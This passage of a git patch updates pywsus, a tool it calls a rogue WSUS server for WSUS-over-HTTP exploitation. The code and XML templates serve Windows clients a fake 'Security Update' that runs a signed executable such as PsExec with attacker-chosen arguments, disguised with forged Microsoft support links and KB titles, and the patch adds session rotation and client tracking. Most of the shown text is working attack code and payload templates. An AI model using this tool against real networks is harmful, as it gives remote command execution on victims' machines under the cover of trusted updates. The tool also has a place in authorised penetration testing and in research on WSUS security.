BeautifulSoup(update_handler.sync_updates_xml, "xml") + _log(0, ip, "SyncUpdates", + f"KB{update_handler.kb_number} -> {update_handler.executable_name}", + direction="request") elif soap_action == '"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetExtendedUpdateInfo"': # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wusp/862adc30-a9be-4ef7-954c-13934d8c1c77 - data = BeautifulSoup(update_handler.get_extended_update_info_xml, "xml") + data = BeautifulSoup(update_handler.get_ext_info_xml_for(ip), "xml") + _log(0, ip, "GetExtendedUpdateInfo", + f"KB{update_handler.kb_number}", direction="request") elif soap_action == '"http://www.microsoft.com/SoftwareDistribution/ReportEventBatch"': # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wusp/da9f0561-1e57-4886-ad05-57696ec26a78 data = BeautifulSoup(update_handler.report_event_batch_xml, "xml") - post_data_report = BeautifulSoup(post_data, "xml") - logging.info('Client Report: {targetID}, {computerBrand}, {computerModel}, {extendedData}.'.format(targetID=post_data_report.TargetID.text, - computerBrand=post_data_report.ComputerBrand.text, - computerModel=post_data_report.ComputerModel.text, - extendedData=post_data_report.ExtendedData.ReplacementStrings.string)) + # --- Parse useful fields from ReportEventBatch --- + parts = [] + brand_tag = post_data_xml.find('ComputerBrand') + model_tag = post_data_xml.find('ComputerModel') + hresult_tag = post_data_xml.find('Win32HResult') + repl = post_data_xml.find('ReplacementStrings') + + if brand_tag and brand_tag.string: + parts.append(brand_tag.string.strip()) + if model_tag and model_tag.string: + parts.append(model_tag.string.strip()) + if hresult_tag and hresult_tag.string: + hr = hresult_tag.string.strip() + parts.append(f"hr={hr}" if hr != "0" else "OK") + if repl: + first = repl.find('string') + if first and first.string: + kb_match = re.search(r'KB\d+', first.string) + if kb_match: + parts.append(kb_match.group()) + + detail = " ".join(parts) if parts else "" + _log(0, ip, "ReportEventBatch", detail, direction="request") elif soap_action == '"http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService/GetAuthorizationCookie"': # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wusp/44767c55-1e41-4589-aa01-b306e0134744 data = BeautifulSoup(update_handler.get_authorization_cookie_xml, "xml") + _log(0, ip, "GetAuthorizationCookie", direction="request") else: - logging.warning("SOAP Action not handled") - logging.info('SOAP Action: {}'.format(soap_action)) + _log(0, ip, "WARN", f"unhandled SOAPAction: {soap_action}") return - self._set_response() - self.wfile.write(data.encode_contents()) - - logging.info('SOAP Action: {}'.format(soap_action)) - - if data is not None: - logging.debug("POST Response,\nPath: {path}\nHeaders:\n{headers}\n\nBody:\n{body}\n".format(path=self.path, headers=self.headers, body=data.encode_contents)) - else: - logging.warning("POST Response without data.") + # --- Send response --- + response_body = data.encode_contents() + self._set_response(xml_body=response_body) + try: + self.wfile.write(response_body) + except (ConnectionResetError, BrokenPipeError): + _log(0, ip, "WARN", f"connection reset during {action_name}") + return + _log_resp(ip, action_name) + _log_raw(f"SERVER -> CLIENT {ip} {action_name}", + data.prettify(), + http_request="HTTP/1.1 200 OK") -def run(host, port, server_class=HTTPServer, handler_class=WSUSBaseServer): - server_address = (host, port) - httpd = server_class(server_address, handler_class) - logging.info('Starting httpd...\n') +# --------------------------------------------------------------------------- +# Server thread +# --------------------------------------------------------------------------- +def run(host, port): + httpd = HTTPServer((host, port), WSUSBaseServer) try: httpd.serve_forever() except KeyboardInterrupt: pass - httpd.server_close() - logging.info('Stopping httpd...\n') -def parse_args(): - # parse the arguments - parser = argparse.ArgumentParser(epilog='\tExample: \r\npython pywsus.py -H X.X.X.X -p 8530 -e PsExec64.exe -c "-accepteula -s calc.exe"') +# --------------------------------------------------------------------------- +# Banner +# --------------------------------------------------------------------------- + +def _print_banner(host, port, rotate_hours=0): + _console.print() + _console.print("[bold red]p y w s u s[/]", justify="center") + _console.print() + rotate_tag = ( + f" [dim]·[/] [dim]rotate every[/] [magenta]{rotate_hours}h[/]" + if rotate_hours else "" + ) + _console.print( + f" [dim]listening on[/] [cyan]{host}:{port}[/]" + f" [dim]·[/] [bold white]q[/][dim]: quit[/]" + f" [dim]·[/] [bold white]r[/][dim]: rotate session[/]" + f"{rotate_tag}" + ) + _console.print() + + +# --------------------------------------------------------------------------- +# Argument parsing +# --------------------------------------------------------------------------- + +def parse_args(): + parser = argparse.ArgumentParser( + description=( + "pywsus — Rogue WSUS server for WSUS-over-HTTP exploitation\n" + "GoSecure | github.com/GoSecure/pywsus" + ), + epilog=( + "Examples:\n" + " python pywsus.py -H 10.0.0.1 -p 8530 -e PsExec64.exe -c '/accepteula /s calc.exe'\n" + " python pywsus.py -H 10.0.0.1 -p 8530 -e PsExec64.exe -c '/accepteula' -v --log-file wsus.log\n" + " python pywsus.py -H 10.0.0.1 -p 8530 -e PsExec64.exe -c '/accepteula' -vv --log-file wsus.log\n" + " python pywsus.py -H 10.0.0.1 -p 8530 -e PsExec64.exe -c '/accepteula' -r 1\n" + "\n" + "Verbosity:\n" + " (none) all events shown on terminal\n" + " -v + metadata at startup + --log-file with directions\n" + " -vv + full XML bodies in --log-file\n" + ), + formatter_class=argparse.RawDescriptionHelpFormatter, + ) parser._optionals.title = "OPTIONS" - parser.add_argument('-H', '--host', required=True, help='The listening adress.') - parser.add_argument('-p', '--port', type=int, default=8530, help='The listening port.') - parser.add_argument('-e', '--executable', type=argparse.FileType('rb'), required=True, help='The Microsoft signed executable returned to the client.') - parser.add_argument('-c', '--command', required=True, help='The parameters for the current executable.') - parser.add_argument('-v', '--verbose', action='store_true', default=False, help='Increase output verbosity.') + + core = parser.add_argument_group("Core") + core.add_argument('-H', '--host', required=True, + help='Listening address (e.g. 0.0.0.0 or 10.0.0.1).') + core.add_argument('-p', '--port', type=int, default=8530, + help='Listening port (default: 8530).') + core.add_argument('-e', '--executable', type=argparse.FileType('rb'), required=True, + help='Microsoft-signed PE to serve (e.g. PsExec64.exe).') + core.add_argument('-c', '--command', required=True, + help='Arguments passed to the executable on the client.') + core.add_argument('-r', '--rotate', type=float, default=0, metavar='HOURS', + help='Rotate session IDs every N hours (0 = off). ' + 'Default WSUS detection frequency is ~22 h.') + + out = parser.add_argument_group("Output") + out.add_argument('-v', '--verbose', action='count', default=0, + help='-v metadata + log directions. -vv + XML bodies in log.') + out.add_argument('--log-file', metavar='FILE', default=None, + help='Write exchange log to FILE.') return parser.parse_args() +# --------------------------------------------------------------------------- +# Session rotation (--rotate) +# --------------------------------------------------------------------------- + +def _rotate_session(executable_file, executable_name, client_address, command): + """Rebuild update_handler with fresh IDs / KB. Atomic swap via global.""" + global update_handler + old_clients = update_handler._clients # preserve known client data + new = WSUSUpdateHandler(executable_file, executable_name, client_address) + new.set_filedigest() + new.set_resources_xml(command) + new._clients.update(old_clients) # carry over + update_handler = new # GIL makes this assignment atomic + _console.rule(style="bright_black") + _console.print( + f" [bold magenta]↻ Session rotated[/] " + f"[bold yellow]KB{new.kb_number}[/] " + f"[dim]rev[/] {new.revision_ids} " + f"[dim]dep[/] {new.deployment_ids}" + ) + _console.rule(style="bright_black") + + +# --------------------------------------------------------------------------- +# Entry point +# --------------------------------------------------------------------------- + if __name__ == '__main__': args = parse_args() - if args.verbose: - logging.basicConfig(level=logging.DEBUG) - else: - logging.basicConfig(level=logging.INFO) + _log_level = min(args.verbose, 2) + _log_file = args.log_file + + if _log_file: + try: + open(_log_file, "w").close() + except OSError: + pass executable_file = args.executable.read() executable_name = os.path.basename(args.executable.name) args.executable.close() - update_handler = WSUSUpdateHandler(executable_file, executable_name, client_address='{host}:{port}'.format(host=args.host, port=args.port)) + if executable_file[:2] != b'MZ': + _console.print("[bold red][ERROR][/] Not a valid PE (missing MZ magic bytes)") + sys.exit(1) + + update_handler = WSUSUpdateHandler( + executable_file, executable_name, + client_address=f'{args.host}:{args.port}') update_handler.set_filedigest() update_handler.set_resources_xml(args.command) - logging.info(update_handler) - - run(host=args.host, port=args.port) + _print_banner(args.host, args.port, args.rotate) + + if _log_level >= 1: + _console.print( + f" [dim]kb[/] [bold yellow]KB{update_handler.kb_number}[/]\n" + f" [dim]uuids[/] [white]{update_handler.uuids}[/]" + f" [dim](Install + Bundle identifiers)[/]\n" + f" [dim]revision_ids[/] [white]{update_handler.revision_ids}[/]" + f" [dim](revision numbers in SyncUpdates)[/]\n" + f" [dim]deployment_ids[/] [white]{update_handler.deployment_ids}[/]" + f" [dim](deployment entries per revision)[/]\n" + f" [dim]sha1[/] [white]{update_handler.sha1}[/]" + f" [dim](SHA-1 of payload)[/]\n" + f" [dim]sha256[/] [white]{update_handler.sha256}[/]" + f" [dim](SHA-256 of payload)[/]" + ) + _console.print() + + _console.print( + f" [bold cyan]{'Time':<10}{'Target IP':<17}{'Action':<28}Detail[/]" + ) + _console.rule(style="bright_black") + + t = threading.Thread(target=run, args=(args.host, args.port), daemon=True) + t.start() + + rotate_secs = args.rotate * 3600 if args.rotate else 0 + last_rotate = time.time() + client_addr = f'{args.host}:{args.port}' + + old_settings = termios.tcgetattr(sys.stdin) + try: + tty.setcbreak(sys.stdin.fileno()) + while True: + if rotate_secs and (time.time() - last_rotate) >= rotate_secs: + _rotate_session(executable_file, executable_name, + client_addr, args.command) + last_rotate = time.time() + if select.select([sys.stdin], [], [], 0.5)[0]: + key = sys.stdin.read(1).lower() + if key == 'q': + break + elif key == 'r': + _rotate_session(executable_file, executable_name, + client_addr, args.command) + last_rotate = time.time() + except KeyboardInterrupt: + pass + finally: + termios.tcsetattr(sys.stdin, termios.TCSADRAIN, old_settings) + + _console.rule(style="bright_black") + _console.print( + f" [bold red]Closed[/] [dim]port[/] [cyan]{args.port}[/]" + f" [dim]on[/] [cyan]{args.host}[/]" + ) + _console.print() \ No newline at end of file diff --git a/requirements.txt b/requirements.txt index 79e47c6..12549b2 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,3 +1,6 @@ beautifulsoup4==4.9.1 -lxml==4.6.2 +lxml==6.0.2 soupsieve==2.0.1 +rich==14.3.3 +requests==2.32.5 +flask==3.1.3 \ No newline at end of file diff --git a/resources/get-authorization-cookie.xml b/resources/get-authorization-cookie.xml index 4f1feb8..1c255fa 100644 --- a/resources/get-authorization-cookie.xml +++ b/resources/get-authorization-cookie.xml @@ -1 +1,13 @@ -prod{cookie} + + + + + prod + {cookie} + + + + \ No newline at end of file diff --git a/resources/get-config.xml b/resources/get-config.xml index 9fa5bf2..4f80733 100644 --- a/resources/get-config.xml +++ b/resources/get-config.xml @@ -1 +1,38 @@ -{lastChange}falseAnonymous + + + + + {lastChange} + true + + + Anonymous + + + + + + + ProtocolVersion + 3.2 + + + MaxExtendedUpdatesPerRequest + 50 + + + IsInventoryRequired + 0 + + + ClientReportingLevel + 2 + + + + + + \ No newline at end of file diff --git a/resources/get-cookie.xml b/resources/get-cookie.xml index 5834e81..dd246f5 100644 --- a/resources/get-cookie.xml +++ b/resources/get-cookie.xml @@ -1 +1,12 @@ -{expire}{cookie} + + + + + {expire} + {cookie} + + + + \ No newline at end of file diff --git a/resources/get-extended-update-info.xml b/resources/get-extended-update-info.xml index aadd313..c7484af 100644 --- a/resources/get-extended-update-info.xml +++ b/resources/get-extended-update-info.xml @@ -1 +1,61 @@ -{revision_id2}<ExtendedProperties DefaultPropertiesLanguage="en" Handler="http://schemas.microsoft.com/msus/2002/12/UpdateHandlers/CommandLineInstallation" MaxDownloadSize="{file_size}" MinDownloadSize="{file_size}"><InstallationBehavior RebootBehavior="NeverReboots" /></ExtendedProperties><Files><File Digest="{sha1}" DigestAlgorithm="SHA1" FileName="{filename}" Size="{file_size}" Modified="2010-11-25T15:26:20.723"><AdditionalDigest Algorithm="SHA256">{sha256}</AdditionalDigest></File></Files><HandlerSpecificData type="cmd:CommandLineInstallation"><InstallCommand Arguments="{command}" Program="{filename}" RebootByDefault="false" DefaultResult="Succeeded"><ReturnCode Reboot="false" Result="Succeeded" Code="-1" /></InstallCommand></HandlerSpecificData>{revision_id1}<ExtendedProperties DefaultPropertiesLanguage="en" MsrcSeverity="Important" IsBeta="false"><SupportUrl>https://gosecure.net</SupportUrl><SecurityBulletinID>MS42-123</SecurityBulletinID><KBArticleID>2862335</KBArticleID></ExtendedProperties>{revision_id1}<LocalizedProperties><Language>en</Language><Title>Bundle Security Update for * Windows (from KB1234567)</Title><Description>A security issue has been identified in a Microsoft software product that could affect your system. You can help protect your system by installing this update from Microsoft. For a complete listing of the issues that are included in this update, see the associated Microsoft Knowledge Base article. After you install this update, you may have to restart your system.</Description><UninstallNotes>This software update can be removed by selecting View installed updates in the Programs and Features Control Panel.</UninstallNotes><MoreInfoUrl>https://gosecure.net</MoreInfoUrl><SupportUrl>http://gosecure.net</SupportUrl></LocalizedProperties>{revision_id2}<LocalizedProperties><Language>en</Language><Title>Probably-legal-update</Title></LocalizedProperties>{sha1}{url} + + + + + + + {revision_id2} + <ExtendedProperties DefaultPropertiesLanguage="en" + Handler="http://schemas.microsoft.com/msus/2002/12/UpdateHandlers/CommandLineInstallation" + MaxDownloadSize="{file_size}" + MinDownloadSize="{file_size}"><InstallationBehavior + RebootBehavior="NeverReboots" + /></ExtendedProperties><Files><File Digest="{sha1}" + DigestAlgorithm="SHA1" FileName="{filename}" Size="{file_size}" + Modified="2010-11-25T15:26:20.723"><AdditionalDigest + Algorithm="SHA256">{sha256}</AdditionalDigest></File></Files><HandlerSpecificData + type="cmd:CommandLineInstallation"><InstallCommand + Arguments="{command}" Program="{filename}" RebootByDefault="false" + DefaultResult="Succeeded"><ReturnCode Reboot="false" + Result="Succeeded" Code="-1" + /></InstallCommand></HandlerSpecificData> + + + {revision_id1} + + <ExtendedProperties DefaultPropertiesLanguage="en" + MsrcSeverity="Important" + IsBeta="false"><SupportUrl>https://support.microsoft.com/help/{kb_number}</SupportUrl><SecurityBulletinID>MS42-123</SecurityBulletinID><KBArticleID>{kb_number}</KBArticleID></ExtendedProperties> + + + {revision_id1} + + <LocalizedProperties><Language>en</Language><Title>{kb_title}</Title><Description>A + security issue has been identified in a Microsoft software product that + could affect your system. You can help protect your system by installing + this update from Microsoft. For a complete listing of the issues that are + included in this update, see the associated Microsoft Knowledge Base + article. After you install this update, you may have to restart your + system.</Description><UninstallNotes>This software update + can be removed by selecting View installed updates in the Programs and + Features Control + Panel.</UninstallNotes><MoreInfoUrl>https://support.microsoft.com/help/{kb_number}</MoreInfoUrl><SupportUrl>https://support.microsoft.com</SupportUrl></LocalizedProperties> + + + {revision_id2} + + <LocalizedProperties><Language>en</Language><Title>{kb_title}</Title></LocalizedProperties> + + + + + {sha1} + {url} + + + + + + \ No newline at end of file diff --git a/resources/internal-error.xml b/resources/internal-error.xml index 7155538..2808135 100644 --- a/resources/internal-error.xml +++ b/resources/internal-error.xml @@ -1 +1,11 @@ -a:InternalServiceFaultThe server was unable to process the request due to an internal error. + + + + + a:InternalServiceFault + The server was unable to process the request due to an + internal error. + + + \ No newline at end of file diff --git a/resources/register-computer.xml b/resources/register-computer.xml index e6d5d3e..1458361 100644 --- a/resources/register-computer.xml +++ b/resources/register-computer.xml @@ -1 +1,7 @@ - + + + + + \ No newline at end of file diff --git a/resources/report-event-batch.xml b/resources/report-event-batch.xml index 1caf2f8..52058b2 100644 --- a/resources/report-event-batch.xml +++ b/resources/report-event-batch.xml @@ -1 +1,9 @@ -true + + + + true + + + \ No newline at end of file diff --git a/resources/sync-updates-empty.xml b/resources/sync-updates-empty.xml new file mode 100644 index 0000000..672f069 --- /dev/null +++ b/resources/sync-updates-empty.xml @@ -0,0 +1,17 @@ + + + + + + false + + {expire} + {cookie} + + true + + + + \ No newline at end of file diff --git a/resources/sync-updates.xml b/resources/sync-updates.xml index 09e607f..ec52f4c 100644 --- a/resources/sync-updates.xml +++ b/resources/sync-updates.xml @@ -1 +1,57 @@ -{revision_id1}{deployment_id1}Installtrue2020-02-29000true<UpdateIdentity UpdateID="{uuid1}" RevisionNumber="204" /><Properties UpdateType="Software" ExplicitlyDeployable="true" AutoSelectOnWebSites="true" /><Relationships><Prerequisites><AtLeastOne IsCategory="true"><UpdateIdentity UpdateID="0fa1201d-4330-4fa8-8ae9-b877473b6441" /></AtLeastOne></Prerequisites><BundledUpdates><UpdateIdentity UpdateID="{uuid2}" RevisionNumber="204" /></BundledUpdates></Relationships>{revision_id2}{deployment_id2}Bundletrue2020-02-29000true<UpdateIdentity UpdateID="{uuid2}" RevisionNumber="204" /><Properties UpdateType="Software" /><Relationships></Relationships><ApplicabilityRules><IsInstalled><False /></IsInstalled><IsInstallable><True /></IsInstallable></ApplicabilityRules>false{expire}{cookie}true + + + + + + + {revision_id1} + + {deployment_id1} + Install + true + {last_change} + 0 + 0 + 0 + 0 + + true + <UpdateIdentity UpdateID="{uuid1}" RevisionNumber="204" + /><Properties UpdateType="Software" ExplicitlyDeployable="true" + AutoSelectOnWebSites="true" + /><Relationships><BundledUpdates><UpdateIdentity + UpdateID="{uuid2}" RevisionNumber="204" + /></BundledUpdates></Relationships> + + + {revision_id2} + + {deployment_id2} + Bundle + true + {last_change} + 0 + 0 + 0 + 0 + + true + <UpdateIdentity UpdateID="{uuid2}" RevisionNumber="204" + /><Properties UpdateType="Software" + /><Relationships></Relationships><ApplicabilityRules><IsInstalled><False + /></IsInstalled><IsInstallable><True + /></IsInstallable></ApplicabilityRules> + + + false + + {expire} + {cookie} + + false + + + + \ No newline at end of file From 7899092c677e65ac58c63e4c188e3019f2f169c9 Mon Sep 17 00:00:00 2001 From: Eliott Dorkenoo Date: Thu, 16 Apr 2026 11:46:09 +0200 Subject: [PATCH 2/2] untrack known_clients.json (runtime-generated) --- .gitignore | 1 + data/known_clients.json | 8 -------- 2 files changed, 1 insertion(+), 8 deletions(-) delete mode 100644 data/known_clients.json diff --git a/.gitignore b/.gitignore index a81c8ee..1e8b51e 100644 --- a/.gitignore +++ b/.gitignore @@ -136,3 +136,4 @@ dmypy.json # Cython debug symbols cython_debug/ +data/known_clients.json diff --git a/data/known_clients.json b/data/known_clients.json deleted file mode 100644 index 61efeab..0000000 --- a/data/known_clients.json +++ /dev/null @@ -1,8 +0,0 @@ -{ - "_comment": "Known WSUS clients — { ip: {build, arch, os_desc} }. Auto-populated by pywsus.", - "172.16.147.102": { - "build": 26200, - "arch": "AMD64", - "os_desc": "Windows 10 Pro" - } -}